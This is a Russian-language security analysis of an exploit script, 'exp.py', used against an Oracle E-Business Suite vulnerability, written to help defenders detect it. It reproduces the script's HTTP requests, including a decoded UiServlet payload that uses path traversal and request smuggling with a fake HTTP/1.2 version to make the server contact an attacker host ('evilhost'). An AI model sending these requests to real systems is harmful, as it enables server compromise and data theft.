Компания Oracle выпустила внеочередной бюллетень безопасности, посвященный уязвимости в Oracle E-Business Suite, которая уже эксплуатируется злоумышленниками. Особый интерес представляет скрипт, который Oracle идентифицирует как "exp.py". Анализ HTTP-запросов, отправляемых этим скриптом, выявил несколько технически интересных особенностей. Стоит отметить, что анализ проводился на простом Python веб-сервере, а не на реальной установке Oracle E-Business Suite.
Скрипт принимает два параметра: URL цели и IP-адрес/порт конфигурационного сервера. Первый запрос направляется по адресу /OA_HTML/runforms.jsp с использованием стандартных заголовков, имитирующих браузер Chrome. Скрипт изначально предполагает, что внутренний хост совпадает с целевым, но в случае перенаправления извлекает новый внутренний хост из заголовка Location.
1 2 3 4 5 6 | GET /OA_HTML/runforms.jsp HTTP/HTTP/1.1 Host: [target host]:8000 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate Accept: */* Connection: keep-alive |
Второй запрос к /OA_HTML/JavaScriptServlet предназначен для получения CSRF-токена, который извлекается из тела ответа. Этот токен затем используется в последующих операциях.
1 2 3 4 5 6 7 8 9 | POST /OA_HTML/JavaScriptServlet HTTP/HTTP/1.1 Host: [target host]:8000 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate Accept: */* Connection: keep-alive CSRF-XHR: YES FETCH-CSRF-TOKEN: 1 Content-Length: 0 |
Наиболее интересным является финальный эксплойт-запрос к /OA_HTML/configurator/UiServlet. После декодирования URL и HTML-сущностей тело запроса раскрывает сложную структуру.
1 2 3 4 5 6 7 8 9 10 | POST /OA_HTML/configurator/UiServlet HTTP/HTTP/1.1 Host: localhost:8000 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate Accept: */* Connection: keep-alive CSRF-XHR: YES FETCH-CSRF-TOKEN: 1 Content-Length: 4324 Content-Type: application/x-www-form-urlencoded |
Ключевой особенностью является использование невалидной версии HTTP 1.2, что, вероятно, предназначено для обхода фильтров безопасности. Также присутствует фрагмент "POST /", помеченный как "keep alive" - возможно, это частичный запрос для поддержания соединения открытым.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | redirectFromJsp=1 getUiType=<?xml+version="1.0"+encoding="UTF-8"?> <initialize> ++++<param+name="init_was_saved">test</param> ++++<param+name="return_url"> http://target:7201/OA_HTML/help/../ieshostedsurvey.jsp HTTP/1.2 Host: evilhost:80 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Connection: keep-alive Cookie: POST / ++++<param+name="ui_def_id">0</param> ++++<param+name="config_effective_usage_id">0</param> ++++<param+name="ui_type">Applet</param> </initialize> |
Порт 7201 является стандартным портом без TLS для сервера приложений. URL демонстрирует признаки использования техники path traversal. Учитывая характер полезной нагрузки последнего запроса, уязвимость можно классифицировать как server-side request forgery (SSRF), что и указано в самом скрипте.
С точки зрения обнаружения атаки, использование версии HTTP 1.2 представляет собой перспективный индикатор для систем мониторинга. Данная версия протокола не существует в реальности, поэтому подобные запросы должны вызывать подозрения.
Эксплойт выполняет трехэтапную операцию: проверку имени хоста, получение CSRF-токена и отправку запроса к серверу приложений с использованием SSRF для подключения к внешнему хосту злоумышленников. Вероятно, эта схема используется для получения дальнейших инструкций или загрузки дополнительного вредоносного кода.
Опубликованные Oracle индикаторы компрометации позволяют организациям, использующим E-Business Suite, проверить свои системы на признаки взлома. Рекомендуется немедленно установить предоставленные исправления и настроить системы обнаружения вторжений на поиск аномалий, связанных с использованием нестандартных версий HTTP-протокола и подозрительных запросов к компонентам UiServlet и JavaScriptServlet.
Данный случай подчеркивает важность мониторинга не только известных шаблонов атак, но и аномалий в сетевом трафике, которые могут свидетельствовать о новых техниках обхода защитных механизмов. Использование несуществующих версий протоколов может стать новым трендом в арсенале киберпреступников, эксплуатирующих уязвимости в корпоративных приложениях.